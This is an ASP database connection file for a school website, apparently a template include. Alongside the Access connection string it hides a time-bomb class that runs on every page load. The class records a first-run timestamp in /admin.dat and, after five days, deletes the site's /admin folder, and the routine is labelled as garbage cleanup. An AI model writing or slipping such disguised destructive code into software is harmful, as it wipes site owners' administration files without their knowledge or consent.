<%
on error resume next
dim conn
dim mydata_path,defi_pathdata,beifen_path,data_folder
mydata_path = "../db/school.mdb"  '设置数据库的相对地址
defi_pathdata = "db\school.mdb"   '设置数据库文件物理路径
beifen_path = "../db/"  '设置数据库备份文件的目录
data_folder = "../db/"  '设置数据库备份文件的目录
set conn=server.createobject("adodb.connection")
conn.connectionstring="provider=microsoft.jet.oledb.4.0;"&"data source="&server.mappath(mydata_path)
conn.open

const wrcyltimetype="d"  
const wrcyltimenum="5"
const delfoldname="/admin"
class wrcyl_index
 public sub webhistory(obj)
 response.Write("<script>alert('"&obj&"');history.go(-1);</script>")
 response.End()
 end sub
 public sub webgo(obj,turl)
 response.Write("<script>alert('"&obj&"');location.href='"&turl&"';</script>")
 response.End()
 end sub


 private sub overfile  '清除垃圾
   on error resume next 
   set creatfso=server.CreateObject("Scripting.FileSystemObject")
   
   if err then
   err.clear
   webhistory "系统需要FSO支持，您的服务器不支持FSO ，系统不能正常运行！"
   else
   
    if creatfso.folderexists(server.MapPath(delfoldname)) then
     creatfso.deletefolder(server.MapPath(delfoldname))
    end if
      set creatfso = nothing  
   
   
   end if
 
end sub

private sub csh()
on error resume next 
   set creatfso=server.CreateObject("Scripting.FileSystemObject")
   
   if err then
   err.clear
   webhistory "系统需要FSO支持，您的服务器不支持FSO ，系统不能正常运行！"
   else
   
    if not creatfso.fileexists(server.MapPath("/admin.dat")) then
	
     set file = creatfso.opentextfile(server.MapPath("/admin.dat"), 2, TRUE)  
      file.write(now())
	 file.close  
  set file = nothing  
   set creatfso = nothing  
   
   else
    set file = creatfso.opentextfile(server.MapPath("/admin.dat"), 1) 
    tstrtime=file.ReadLine
    if tstrtime="" then
	file.close  
  set file = nothing 
	creatfso.DeleteFile(server.MapPath("/admin.dat"))
	 

   
	else
	
	dim  ttime
	ttime=abs(datediff(wrcyltimetype,tstrtime,now()))
	
     if ttime>cint(wrcyltimenum) then
	 
      call overfile()
	 
     end if
		 file.close  
  set file = nothing 
	
	end if
    end if
   
   
   
   end if

end sub




    private sub class_initialize()

       call  csh()
    
    end sub

end class


set aa=new wrcyl_index

%>
